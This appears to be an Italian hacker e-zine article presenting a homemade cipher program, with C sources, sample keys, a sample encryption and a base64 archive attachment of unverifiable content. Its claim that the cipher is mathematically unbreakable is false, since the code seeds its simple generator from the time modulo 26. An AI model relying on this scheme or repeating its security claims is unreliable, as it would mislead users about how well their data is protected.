tlzqosogimpjdfgfiujxwikspyonzkiuhhsqnejmipoogsbieffqbq
mtmlldwiwtqapqncviuynssgvsthcuvwtwwkxubpuwutxjhelzuvyx
kubdbruopepzqphrvtvtwelvtdocfei
FINE_CHIAVE____________________
---------------------------------- file CHIAVE.PRI


.. sara' questa la chiave che dovra' restare nascosta ed in possesso a
tutti i membri del gruppo Z.


Ogni utente si dovra' costruire analogamente una propria chiave privata
ed una pubblica.

Il membro Pippo Torsali (sembra un anagramma eh!? :)) )
si creera' una chiave pubblica col seguente file di testo

---------------------------------- file PUB.DAT
chiave.pub 571
Pippo Torsali
Tel: 0338 812399231
Fax: 0293 123981238
sbirulo, 45
66232 Digrumaioterme PI
Pressi podere 28/r
SATOR
AREPO
TENET
OPERA
ROTAS
---------------------------------- file PUB.DAT


digitera' CREA PUB.DAT

creando il file CHIAVE.PUB

---------------------------------- file CHIAVE.PUB
INIZIO_CHIAVE__________________
pjmmcovvrkogvhybfbdwiznrfnrgqjarjxtymjmbaqfrbmxvrpbklh
ieyhqforwtwhiwnrpavtdconpxzgdccrfzkpbmoulkqdlhfyhiwzme
ielydwgpyrvnyjqyogkdtjcugrixxkqfcvhxwccdsyysbrggaltyna
wgfkyorgzuvhhyosnlzotdvhuuigejocgvqnrzkasqlyxjmknxjlik
pmduujljmjprgsrqwmwubucejxvxbzdzrxvcwjszojfveshkwsysvi
uwybaktynlwcfxozqivvowzwnpjgvherrlnykiiteghufdhanpwdzh
iwcuvwyyyzbqmbdoiicmslnlqjukodwowlpjwboixrtyjupugdbvty
iyotxaseoneluzacwqhgsfvqexmaepitnjcenylhobuovjjhpvmaoy
ovqovqxmtuboaeohrzptoihnpsrbnftraetnactkrrrdoeumsmuzdy
ggmeojujjmpbqjpswykjouptronceckxiumwtmoyjqsehngvljlqfx
gectdswurgtjfahmpkqrkuazhdgtmfz
FINE_CHIAVE____________________
---------------------------------- file CHIAVE.PUB



La chiave pubblica di Pippo Torsali verra' appunto resa-pubblica.


Possibili scenari:

Pippo Torsali vuole spedire un messaggio riservato al gruppo:

Si creera' un file di testo col messaggio .. es:


----------------------------------- file MESSAGGIO.TXT
The next day, religious leaders again met with Pilate. They said Jesus had
predicted He would rise in three days. To assure that the deciples could not
conspire in a resurrection hoax, Pilate ordered the official seal of Rome to be
attached to the tomb to put graverobbers at notice. To enforce the order,
soldiers stood guard. Any deciple who wanted to tamper with the body would have
had to get by them, which wouldn't have been easy. The Roman guards had good
reason for staying alert-the penalty for falling asleep while on watch was
death.
----------------------------------- file MESSAGGIO.TXT


quindi lo cifrera' con

COD messaggio.txt chiave.pri chiave.pub

dove chiave.pri sara' la chiave privata del gruppo e chiave.pub la sua chiave pubblica
creata al momento dell'invio del messaggio e da inviare col messaggio stesso.
.. una stessa chiave generera' cmq sempre cifrati diversi!

il programma COD generera' un file contenente il cifrato chiamandolo appunto
CIFRATO

------------------------------------- file CIFRATO.TXT
Tpv xuas bbt, vokeqgkbk prhsshs qkyxd wra oalm Pupyrp. Tzrr iabf Jxpqr hjz
rnsxcjuuo Hm xuhvi yuuu mi xjxii mzzf. Tj jlbfpf nhwu nrh uqozlbfc kjeyu fsh
zetbxjgq ti o tabdtbgjghdm wtfw, Pojvux yhdpols zpt vagaghnk vljd yn Rmky sk tc
lfcmlczi by upf zvzp ik mdm oqqqdterbran ka fukqbi. Tz jcmoens bxl pnwab,
bmaebkvp sojkj roedr. Aic jqgqeva yac teggta ut xpcdjt cmfo nhi zfrh nabzw budy
bcu qd nwn rw mdfi, jkldi asepqc'w woqy xrys qltt. Tkq Rulnb buyaof sru eaog
nmlcss yur jjvvavf bslmq-jws mpjhinq cgf mnnfstu rdpcrb dqetj xj uvzos yiy
yitxk.
wy
------------------------------------- file CIFRATO.TXT


[ da notare come viene mantenuta l'esatta formattazione del testo originale ]


questo messaggio sara' leggibile da tutti gli appartenenti al gruppo con

DEC CIFRATO chiave.pri chiave.pub


Nel caso il Torsali avesse voluto spedire un messaggio riservato alla sede del
gruppo stesso (quella tenutaria delle chiavi private) avrebbe codificato con

COD messaggio.txt chiave1.pri chiave2.pri

chiave1.pri = chiave privata del gruppo
chiave2.pri = chiave privata del Torsali


.. la seguente decodifica da parte del gruppo sarebbe stata analogamente


DEC messaggio.txt chiave1.pri chiave2.pri


.. con una oculata politica di gestione delle chiavi e un minimo di organizzazione
sara' quindi possibile per il Torsali spedire messaggi privati

1. alla sede del gruppo
2. a tutti i membri del gruppo
3. ad un solo membro del gruppo

lasciando tutti gli altri esclusi dalle premesse nella totale impossibilita'
matematica di violare il suo cifrato.



. - .


-----------------------------------------------------------------------------------
b. La spiegazione dei moduli facenti parte del programma stesso.
-----------------------------------------------------------------------------------


Il generatore di pseudocasuali:

//------------------------------------------------------------
long _rand(long s){
unsigned long un,du;
un=Min*(long)(s&0xFFFF);
du=Min*(long)((unsigned long)s>>0x10);
un+=(du&0x7FFF)<<0x10;
if(un>Max){un&=Max;++un;}
un+=du>>0xf;
if(un>Max){un&=Max;++un;}
return(long)un;}
float trova(void){
float p;
p=n=_rand(n);
return p/Max;}
void _randomize(unsigned long s)
{n=s?(s&Max):1;}
//------------------------------------------------------------


L'algoritmo si basa in buona sostanza sugli errori di troncamento su grandi numeri
interi.


Il gneratore e' parte integrante dell'header A.h

//------------------------------------------------------------
a.h
//------------------------------------------------------------
#define Min 0x41a7
#define Max 0x7fffffff
#define Tr(y) strstr(dati[1],y)>0

long n=1;

long _rand(long s){
unsigned long un,du;
un=Min*(long)(s&0xFFFF);
du=Min*(long)((unsigned long)s>>0x10);
un+=(du&0x7FFF)<<0x10;
if(un>Max){un&=Max;++un;}
un+=du>>0xf;
if(un>Max){un&=Max;++un;}
return(long)un;}

float trova(void){
float p;
p=n=_rand(n);
return p/Max;}

void _randomize(unsigned long s)
{n=s?(s&Max):1;}

unsigned char c[0x23b];

void Ferma(int n)
{
switch(n)
{
case 1 :printf("Estensione non corretta.\n");break;
case 2 :printf("File non trovato.\n");break;
case 3 :printf("Errore generico.\n");
}
printf("\n Deco-TEXT-PGP Versione 1.0 (c)2K SPP C\n");
printf("------------------------------------------------\n");
printf("Sintassi: A <input_file.[dec|cod]> <file.chiave>\n");
printf(".cod = file pronto per la codifica\n");
printf(".dec = "" "" decodifica\n");
printf("Autore : Master -=SPP MEMBER=-\n");
printf("------------------------------------------------\n");
}

char *tolo(char *a)
{
int i=0;
char *c=(char *)malloc(strlen(a)+2);
while((c[i]=tolower(a[i]))!=0)i++;
return(c);
}
//------------------------------------------------------------




A.C e' la nuova versione del cifratore DECO che sara' possibile
usare anche separatamente magari utlizzando una sola chiave di
cifratura.

//------------------------------------------------------------
A.C
//------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
#include <sys/stat.h>
#include "a.h"

void main(int nf,char *dati[])
{
long ps,cod,lun,inizio,
pri,sec,cif,n=0,
v,co=0;
int handle,ci;
FILE *fp,*fp2;
time_t codice;
char z[0xff],w[0xff],x[0xff],chiave[0xfff];
struct stat H;

if(dati[1]!=NULL)
{
strcpy(z,tolo(dati[1]));
strcpy(w,z);
}
else { Ferma(4); exit(0); }

if(strstr(w,".cod"))
{
strcpy(x,strtok(z,"."));
strcat(x,".dec");
dati[1]="c";
}
else if(strstr(w,".dec"))
{
strcpy(x,strtok(z,"."));
strcat(x,".cod");
dati[1]="d";
}
else { Ferma(1); exit(0); }

cod=((unsigned) time(&codice))%0x1a+0x61;
_randomize(cod);

if(nf==3&&(Tr("c")||Tr("d")))
{
fp=fopen(dati[2],"rb");
fscanf(fp,"%s",chiave);
fscanf(fp,"%s",chiave);
fclose(fp);
strcpy(c,chiave);

fp=fopen(w,"rb");
if(stat(w,&H)) { Ferma(2); exit(0); };
fp2=fopen("Output","wb");

if(nf==3&&Tr("d"))
{
fseek(fp,0,SEEK_END);
lun=ftell(fp);
fseek(fp,lun-1,0);
cod=fgetc(fp);
_randomize(cod);
rewind(fp);
}

inizio=1;
while(!feof(fp))
{
n=fgetc(fp);co++;
if(nf==3&&Tr("d")&&co>=lun)
goto st;
if(n>=0x61&&n<=0x7a)
{
pri=n-0x61;
sec=c[inizio-0x01]-0x61;
if(nf==3&&Tr("d"))
{
ps=trova()*0x1a;
cif=pri-sec-ps;
for(v=0;v<=0x03;v++)
if(cif<0)cif+=0x1a;
}
if(nf==3&&Tr("c"))
{
ps=trova()*0x1a;
cif=(pri+sec+ps)%0x1a;
}
fprintf(fp2,"%c",cif+0x61);
goto giu;
}
if(n>=0x30&&n<=0x39)
{
pri=n-0x30;
sec=c[inizio-0x01]-0x61;
if(nf==3&&Tr("d"))
{
ps=trova()*0x1a;
cif=pri-sec-ps;
for(v=0;v<=0x05;v++)
if(cif<0)cif+=10;
}
if(nf==3&&Tr("c"))
{
ps=trova()*0x1a;
cif=(pri+sec+ps)%10;
}
fprintf(fp2,"%c",cif+'0');
goto giu;
}
if(n>0)fprintf(fp2,"%c",n);
giu:
inizio++;
if(inizio>0x23a)inizio=1;
}
if(nf==3&&Tr("c"))fprintf(fp2,"%c",cod);

st:
fclose(fp);
fclose(fp2);
remove(w);
rename("Output",x);
}
else Ferma(3);
exit(0);
}

//------------------------------------------------------------

Esempio di cifratura con A

per coficare un testo e' necessario usare una chiave generata con CREA

..mettiamo che la chiave si chiami CHIAVE.OK

e che il testo da cifrare si chiami TESTO.TXT

A controlla l'estensione del brano da codificare/decodificare .. nel caso
l'estensione sia .COD lo CODIFICA .. nel caso si .DEC lo decodifica.

Si rinominera' quindi TESTO.TXT in TESTO.COD e lo si passera' ad A conù

A TESTO.COD CHIAVE.OK

A rinominera' testo.cod in testo.dec (preprandolo per la successiva decodifica)

Dentro TESTO.DEC avremo il nostro cifrato.


Stessa procedura per la decodifica:

A TESTO.DEC CHIAVE.OK

.. A rinominera' TESTO.DEC in TESTO.COD dandoci all'interno il messaggio in chiaro.


OGNI CHIAVE CREATA CON LO STESSO HEADER RISULTERA' CMQ DIVERSA!

OGNI TESTO CIFRATO CON LA STESSA CHIAVE RISULTERA' CMQ DIVERSO!

.. e cio' nonstante le decodifiche saranno sempre automatiche. :))


Avendo quindi la chiave del deco4 o del deco5 sarebbe possibile decifrare
tutti i vecchi messaggi degli spp. :))




""CREA.C"" lo script per generare le chiavi random

//------------------------------------------------------------
CREA.C
//------------------------------------------------------------
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "a.h"

void main(int nf,char **d)
{
char dp[0xff],bit[0xa],s[0xfff];
FILE *i,*o;
long cod,n,a;
int pa;
time_t codice;
time_t t;
srand((unsigned) time(&t));
cod=((unsigned) time(&codice))%0x1a+0x61;
_randomize(cod);

i=fopen(d[1],"rb");
fscanf(i,"%s",dp);
fscanf(i,"%s",bit);
o=fopen(dp,"wb");
strcpy(s,dp);
while(!feof(i))
{
fscanf(i,"%s",dp);
strcat(s,dp);
}
a=0;
for(n=0;n<strlen(s);n++)a+=s[n]*0xff|0xff;
srand(a);a=0;
fprintf(o,"INIZIO_CHIAVE__________________ \r\n");
for(n=0;n<atol(bit);n++){
pa=trova()*255;fputc((pa+s[a<(strlen(s)-1)?a+1:0])%26+'a',o);}
fprintf(o,"\r\nFINE_CHIAVE____________________ \r\n");

fclose(i);fclose(o);
}
//------------------------------------------------------------





I due sctipt DEC e COD sono una semplice automazione per l'uso dei
programmi sopra riportati.
Era possibile farli, volendo, anche soltanto con due script batch.


//------------------------------------------------------------
COD.C
//------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>

void main(int nf,char **f)
{
char s[0xff];
int a;
FILE *i,*o;
i=fopen(f[1],"rb");
o=fopen("uno.cod","wb");
while(!feof(i)){
a=fgetc(i);if(a>=0)fputc(a,o);}
fclose(i);fclose(o);
sprintf(s,"a uno.cod %s",f[2]);
system(s);
rename("uno.dec","uno.cod");
sprintf(s,"a uno.cod %s",f[3]);
system(s);
rename("uno.dec","cifrato");
}
//------------------------------------------------------------

//------------------------------------------------------------
DEC.C
//------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>

void main(int nf,char **f)
{
char s[0xff];
int a;
FILE *i,*o;
i=fopen(f[1],"rb");
o=fopen("uno.dec","wb");
while(!feof(i)){
a=fgetc(i);if(a>=0)fputc(a,o);}
fclose(i);fclose(o);
sprintf(s,"a uno.dec %s",f[3]);
system(s);
rename("uno.cod","uno.dec");
sprintf(s,"a uno.dec %s",f[2]);
system(s);
rename("uno.cod","originale");
}
//------------------------------------------------------------


. - .


E questo e' tutto. Il resto e' solo sperimentazione. ;-)


. - .


-= Master =- SATOR
SPP MEMBER *** AREPO
www.spippolatori.com TENET
master@spippolatori.com OPERA
in girum imus nocte et consumimur igni - ROTAS


--:

Per i piu' pigri tutti i sorgenti, i files necesari alle prove e i programmi
gia' compilati sono acclusi di seguito in formato mime.
L'attach contiene un file compresso con RK .. attualmente il migliore
compressore in assoluto tra tutti quelli esistenti.
Chi ancora non lo avesse lo puo' trovare assieme a tanti altri
qui: http://www.geocities.com/SiliconValley/Park/4264/
alla sezione archivio files per ms-dos.

emh.. come si fa ad estrarre archivio.rk dall'attach mime?? :))

Se dovete fare domande come queste non dovreste leggere questo tipo
di riviste! .. cmq per la cronaca se non avete un decoder mime o non
avete mai usato Windows Commander al posto di Gestione Risorse
(dovreste proprio farlo!) basta semplicemente estrarre
l'attach tagliandolo dove indicato e scrivendo l'interno in un file
di testo chiamandolo AddioCore.eml ( :)) ) .. cliccandoci sopra
il vostro Outlook Express aprira' un form contenente come attach
decodificato appunto l'archivio "archivio.rk" che potrete salvare
dove volete. ;-)



==============================INIZIO Talia qui =============================
MIME-Version: 1.0
Content-Type: application/octet-stream; name="archivio.rk"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="archivio.rk"

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

  
9i/Lip
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
